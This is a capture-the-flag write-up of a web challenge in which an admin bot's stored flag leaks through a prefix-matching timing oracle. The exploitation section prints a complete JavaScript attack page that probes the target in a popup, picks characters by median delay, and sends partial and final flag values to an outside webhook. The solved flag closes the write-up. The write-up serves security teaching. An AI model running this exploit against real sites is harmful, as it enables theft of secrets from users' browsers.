Summary

This challenge shipped a public web app and an admin bot that visited attacker-controlled URLs. The bot loaded a sealed note containing the flag into localStorage["svfgp.notes.v1"], then spent time on the supplied page before returning to the challenge flow.

The actual weakness was not in the storage layer but in the probe mode. The app compared a user-controlled prefix against the secret and exposed a measurable delay whenever the prefix matched. That made the flag recoverable one character at a time.

Analysis

The most important behavior was in mode=probe. The frontend took the q parameter, loaded the secret from localStorage, and tested secret.startsWith(candidate). When the prefix was wrong, the response was quick. When it was correct, the app entered a much slower PBKDF2 path before posting a completion message back to the opener window.

That made this a classic timing oracle:

  1. wrong prefix, fast return
  2. correct prefix, slow return
  3. repeat until the full flag is reconstructed

svfgp admin bot UI

Exploitation

The exploit was a small HTML page served over HTTPS and sent to the bot. The page opened the challenge URL in a popup, measured the time between navigation and the svfgp-probe-done message, and selected the character that produced the largest median delay.

Core payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<!doctype html>
<meta charset="utf-8">
<body>running...</body>
<script>
const TARGET = "https://svfgp.breakable.live/";
const EXFIL = "https://webhook.site/REPLACE_ME";
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}";
let prefix = new URL(location.href).searchParams.get("pref") || "CTF{";
const PROBE_TIMEOUT = 14000;

function median(a) {
  const s = [...a].sort((x, y) => x - y);
  return s[(s.length / 2) | 0];
}

function exfil(x) {
  document.body.textContent = x;
  fetch(EXFIL + "?d=" + encodeURIComponent(x), { mode: "no-cors", keepalive: true }).catch(() => {});
}

let w = window.open("about:blank", "probe");
const pending = new Map();

window.addEventListener("message", e => {
  const d = e.data || {};
  if (d.type !== "svfgp-probe-done") return;
  const k = d.sid + ":" + d.rid;
  const p = pending.get(k);
  if (!p) return;
  pending.delete(k);
  p.resolve(performance.now() - p.t0);
});

function probe(candidate) {
  return new Promise(resolve => {
    const sid = Math.random().toString(36).slice(2);
    const rid = Math.random().toString(36).slice(2);
    const k = sid + ":" + rid;
    pending.set(k, { resolve, t0: performance.now() });
    if (!w || w.closed) w = window.open("about:blank", "probe");
    w.location = `${TARGET}?mode=probe&q=${encodeURIComponent(candidate)}&sid=${sid}&rid=${rid}`;
    setTimeout(() => {
      if (!pending.has(k)) return;
      pending.delete(k);
      resolve(PROBE_TIMEOUT);
    }, PROBE_TIMEOUT);
  });
}

async function sample(candidate, n = 3) {
  const t = [];
  for (let i = 0; i < n; i++) t.push(await probe(candidate));
  return median(t);
}

(async () => {
  exfil("START:" + prefix);
  while (!prefix.endsWith("}")) {
    let best = null;
    for (const ch of CHARSET) {
      const score = await sample(prefix + ch, 2);
      if (!best || score > best.score) best = { ch, score };
    }
    prefix += best.ch;
    exfil("PARTIAL:" + prefix);
  }
  exfil("FLAG:" + prefix);
})();
</script>

The workflow was:

  1. host the page on a public HTTPS URL
  2. send the bot the URL
  3. watch the webhook for PARTIAL: updates
  4. continue the attack using ?pref= if the bot timeout interrupted the run

Flag

CTF{1390e7327d4c2069a97e3a7f1eafed37e389f9fb9598b183455dc9f6cc2da658}

Tags: web timing side-channel xss